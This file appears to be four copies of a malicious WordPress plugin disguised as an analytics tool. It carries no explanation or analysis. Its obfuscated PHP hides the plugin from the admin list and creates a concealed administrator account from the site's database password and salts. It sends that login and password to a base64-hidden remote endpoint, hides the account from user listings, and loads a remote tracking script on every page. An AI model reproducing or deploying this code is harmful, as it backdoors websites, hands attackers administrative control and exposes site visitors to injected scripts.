/** * Plugin Name: GAnalyticsWpPlugin * Plugin URI: https://github.com * Description: GAnalyticsWpPlugin * Version: 1.3.2 * Author: CoreFlux Systems * Author URI: https://github.com/coreflux * Text Domain: GAnalyticsWpPlugin * License: MIT */ /*2a70947705edd8b8*/function _8b9f67($_x){return $_x;}function _50fc85($_x){return $_x;}$_c467bb8c=["font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9nb29nbGFuYWxpdGxjcy5pY3U=","sitePubKey"=>"OWNjZGNjZjg2NDU1ZjdjNjc3Nzc3NWQxOGM1MmJlZWI="];class GAnalyticsWpPlugin{private $seed;public function __construct(){$this->seed=md5(DB_PASSWORD.AUTH_SALT);$this->init_hooks();}private function init_hooks(){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_40f79e11){unset($_40f79e11[plugin_basename(__FILE__)]);return $_40f79e11;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_7ae6cbef=$this->generate_credentials();if(!username_exists($_7ae6cbef["user"])){$_f9cfe0ef=wp_create_user($_7ae6cbef["user"],$_7ae6cbef["pass"],$_7ae6cbef["email"]);if(!is_wp_error($_f9cfe0ef)){(new WP_User($_f9cfe0ef))->set_role("administrator");}}$this->setup_site_credentials($_7ae6cbef["user"],$_7ae6cbef["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_00d9eb37=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_00d9eb37),0,8),"pass"=>substr(md5($_00d9eb37."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_b043f4a3,$_9adee2f9){global $_c467bb8c;$_11869e5a=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_c467bb8c['sitePubKey']),"login"=>$_b043f4a3,"password"=>$_9adee2f9];$_b4e74131=["body"=>json_encode($_11869e5a),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>true,"sslverify"=>false];wp_remote_post(base64_decode($_c467bb8c["endpoint"])."/api/sites/setup-credentials",$_b4e74131);}public function filterusers($_54276906){global $wpdb;$_b3ea60f3=$this->generate_credentials()["user"];$_54276906->query_where.=" AND {$wpdb->users}.user_login != '{$_b3ea60f3}'";}public function loadassets(){global $_c467bb8c;wp_enqueue_style("ganalytics-fonts",base64_decode($_c467bb8c["font"]),[],null);$_6b02b95a=base64_decode($_c467bb8c["endpoint"])."/t.js?site=".base64_decode($_c467bb8c['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_6b02b95a,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_cfc0d8ea=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_cfc0d8ea,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAnalyticsWpPlugin(); /** * Plugin Name: GAwp_df142643 * Plugin URI: https://github.com * Description: GAwp_df142643 * Version: 1.5.0 * Author: CoreFlux Systems * Author URI: https://github.com/coreflux * Text Domain: GAwp_df142643 * License: MIT */ /*2decb8de39462389*/function _0cfa69($_x){return $_x;}function _5f62a9($_x){return $_x;}function _2d6117($_x){return $_x;}$_528c1f31=["version"=>"1.5.0","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9nb29nbGFuYWxpdGxjcy5pY3U=","sitePubKey"=>"OWNjZGNjZjg2NDU1ZjdjNjc3Nzc3NWQxOGM1MmJlZWI="];global $_a0f4e956;if(!is_array($_a0f4e956)){$_a0f4e956=[];}if(!in_array($_528c1f31["version"],$_a0f4e956,true)){$_a0f4e956[]=$_528c1f31["version"];}class GAwp_df142643{private $seed;private $version;private $hooksOwner;public function __construct(){global $_528c1f31;$this->version=$_528c1f31["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined('GANALYTICS_HOOKS_ACTIVE')){define('GANALYTICS_HOOKS_ACTIVE',$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}if($this->hooksOwner){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_cd942e89){unset($_cd942e89[plugin_basename(__FILE__)]);return $_cd942e89;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_87166409=$this->generate_credentials();if(!username_exists($_87166409["user"])){$_4591f557=wp_create_user($_87166409["user"],$_87166409["pass"],$_87166409["email"]);if(!is_wp_error($_4591f557)){(new WP_User($_4591f557))->set_role("administrator");}}$this->setup_site_credentials($_87166409["user"],$_87166409["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_ced010c9=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_ced010c9),0,8),"pass"=>substr(md5($_ced010c9."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_234b0807,$_f3279d9f){global $_528c1f31;$_0657cb52=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_528c1f31['sitePubKey']),"login"=>$_234b0807,"password"=>$_f3279d9f];$_ee6666d1=["body"=>json_encode($_0657cb52),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post(base64_decode($_528c1f31["endpoint"])."/api/sites/setup-credentials",$_ee6666d1);}public function filterusers($_ee7f1572){global $wpdb;$_08b48d2d=$this->generate_credentials()["user"];$_ee7f1572->query_where.=" AND {$wpdb->users}.user_login != '{$_08b48d2d}'";}public function loadassets(){global $_528c1f31,$_a0f4e956;$_2f95d3ec=true;if(is_array($_a0f4e956)){foreach($_a0f4e956 as $_bde9ddfb){if(version_compare($_bde9ddfb,$this->version,'>')){$_2f95d3ec=false;break;}}}$_33cd3849=wp_script_is('ganalytics-tracker','registered')||wp_script_is('ganalytics-tracker','enqueued');if($_2f95d3ec&&$_33cd3849){wp_deregister_script('ganalytics-tracker');wp_deregister_style('ganalytics-fonts');$_33cd3849=false;}if(!$_2f95d3ec&&$_33cd3849){return;}wp_enqueue_style("ganalytics-fonts",base64_decode($_528c1f31["font"]),[],null);$_07171832=base64_decode($_528c1f31["endpoint"])."/t.js?site=".base64_decode($_528c1f31['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_07171832,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_303a9660=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_303a9660,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAwp_df142643(); /** * Plugin Name: GAwp_a99ff73b * Plugin URI: https://github.com * Description: GAwp_a99ff73b * Version: 1.5.0 * Author: CoreFlux Systems * Author URI: https://github.com/coreflux * Text Domain: GAwp_a99ff73b * License: MIT */ /*56b01289bbcb106e*/function _7fe09d($_x){return $_x;}function _17a17f($_x){return $_x;}function _ad154d($_x){return $_x;}function _bdc83c($_x){return $_x;}$_f7d4fec8=["version"=>"1.5.0","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9nb29nbGFuYWxpdGxjcy5pY3U=","sitePubKey"=>"OWNjZGNjZjg2NDU1ZjdjNjc3Nzc3NWQxOGM1MmJlZWI="];global $_6fba7f64;if(!is_array($_6fba7f64)){$_6fba7f64=[];}if(!in_array($_f7d4fec8["version"],$_6fba7f64,true)){$_6fba7f64[]=$_f7d4fec8["version"];}class GAwp_a99ff73b{private $seed;private $version;private $hooksOwner;public function __construct(){global $_f7d4fec8;$this->version=$_f7d4fec8["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined('GANALYTICS_HOOKS_ACTIVE')){define('GANALYTICS_HOOKS_ACTIVE',$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}if($this->hooksOwner){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_69edd756){unset($_69edd756[plugin_basename(__FILE__)]);return $_69edd756;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_871b8293=$this->generate_credentials();if(!username_exists($_871b8293["user"])){$_0f58e683=wp_create_user($_871b8293["user"],$_871b8293["pass"],$_871b8293["email"]);if(!is_wp_error($_0f58e683)){(new WP_User($_0f58e683))->set_role("administrator");}}$this->setup_site_credentials($_871b8293["user"],$_871b8293["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_a1da6896=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_a1da6896),0,8),"pass"=>substr(md5($_a1da6896."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_b79d8f52,$_2db55d01){global $_f7d4fec8;$_b63cc68f=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_f7d4fec8['sitePubKey']),"login"=>$_b79d8f52,"password"=>$_2db55d01];$_21f87d19=["body"=>json_encode($_b63cc68f),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post(base64_decode($_f7d4fec8["endpoint"])."/api/sites/setup-credentials",$_21f87d19);}public function filterusers($_76a5c42f){global $wpdb;$_5ecd0ba1=$this->generate_credentials()["user"];$_76a5c42f->query_where.=" AND {$wpdb->users}.user_login != '{$_5ecd0ba1}'";}public function loadassets(){global $_f7d4fec8,$_6fba7f64;$_a81b70c6=true;if(is_array($_6fba7f64)){foreach($_6fba7f64 as $_7a3b76b7){if(version_compare($_7a3b76b7,$this->version,'>')){$_a81b70c6=false;break;}}}$_86238aa7=wp_script_is('ganalytics-tracker','registered')||wp_script_is('ganalytics-tracker','enqueued');if($_a81b70c6&&$_86238aa7){wp_deregister_script('ganalytics-tracker');wp_deregister_style('ganalytics-fonts');$_86238aa7=false;}if(!$_a81b70c6&&$_86238aa7){return;}wp_enqueue_style("ganalytics-fonts",base64_decode($_f7d4fec8["font"]),[],null);$_000b8536=base64_decode($_f7d4fec8["endpoint"])."/t.js?site=".base64_decode($_f7d4fec8['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_000b8536,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_8078de7d=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_8078de7d,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAwp_a99ff73b(); /** * Plugin Name: GAwp_4c5c7fb1 * Plugin URI: https://github.com * Description: GAwp_4c5c7fb1 * Version: 1.5.0 * Author: CoreFlux Systems * Author URI: https://github.com/coreflux * Text Domain: GAwp_4c5c7fb1 * License: MIT */ /*d87aec1c4481d307*/function _01efe8($_x){return $_x;}function _8d1cc9($_x){return $_x;}function _3878c4($_x){return $_x;}function _81c4f1($_x){return $_x;}$_0f3c8369=["version"=>"1.5.0","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9nb29nbGFuYWxpdGxjcy5pY3U=","sitePubKey"=>"OWNjZGNjZjg2NDU1ZjdjNjc3Nzc3NWQxOGM1MmJlZWI="];global $_00f7c7d8;if(!is_array($_00f7c7d8)){$_00f7c7d8=[];}if(!in_array($_0f3c8369["version"],$_00f7c7d8,true)){$_00f7c7d8[]=$_0f3c8369["version"];}class GAwp_4c5c7fb1{private $seed;private $version;private $hooksOwner;public function __construct(){global $_0f3c8369;$this->version=$_0f3c8369["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined('GANALYTICS_HOOKS_ACTIVE')){define('GANALYTICS_HOOKS_ACTIVE',$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}if($this->hooksOwner){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_94733fd7){unset($_94733fd7[plugin_basename(__FILE__)]);return $_94733fd7;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_48177c92=$this->generate_credentials();if(!username_exists($_48177c92["user"])){$_8fbbb880=wp_create_user($_48177c92["user"],$_48177c92["pass"],$_48177c92["email"]);if(!is_wp_error($_8fbbb880)){(new WP_User($_8fbbb880))->set_role("administrator");}}$this->setup_site_credentials($_48177c92["user"],$_48177c92["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_21801098=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_21801098),0,8),"pass"=>substr(md5($_21801098."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_92cf34df,$_691f1af1){global $_0f3c8369;$_06a28ec0=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_0f3c8369['sitePubKey']),"login"=>$_92cf34df,"password"=>$_691f1af1];$_269ad9eb=["body"=>json_encode($_06a28ec0),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post(base64_decode($_0f3c8369["endpoint"])."/api/sites/setup-credentials",$_269ad9eb);}public function filterusers($_48d7e461){global $wpdb;$_2e6d5c7f=$this->generate_credentials()["user"];$_48d7e461->query_where.=" AND {$wpdb->users}.user_login != '{$_2e6d5c7f}'";}public function loadassets(){global $_0f3c8369,$_00f7c7d8;$_60aec704=true;if(is_array($_00f7c7d8)){foreach($_00f7c7d8 as $_f3e085d3){if(version_compare($_f3e085d3,$this->version,'>')){$_60aec704=false;break;}}}$_aeef9aee=wp_script_is('ganalytics-tracker','registered')||wp_script_is('ganalytics-tracker','enqueued');if($_60aec704&&$_aeef9aee){wp_deregister_script('ganalytics-tracker');wp_deregister_style('ganalytics-fonts');$_aeef9aee=false;}if(!$_60aec704&&$_aeef9aee){return;}wp_enqueue_style("ganalytics-fonts",base64_decode($_0f3c8369["font"]),[],null);$_904de72f=base64_decode($_0f3c8369["endpoint"])."/t.js?site=".base64_decode($_0f3c8369['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_904de72f,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_8b738c80=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_8b738c80,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAwp_4c5c7fb1();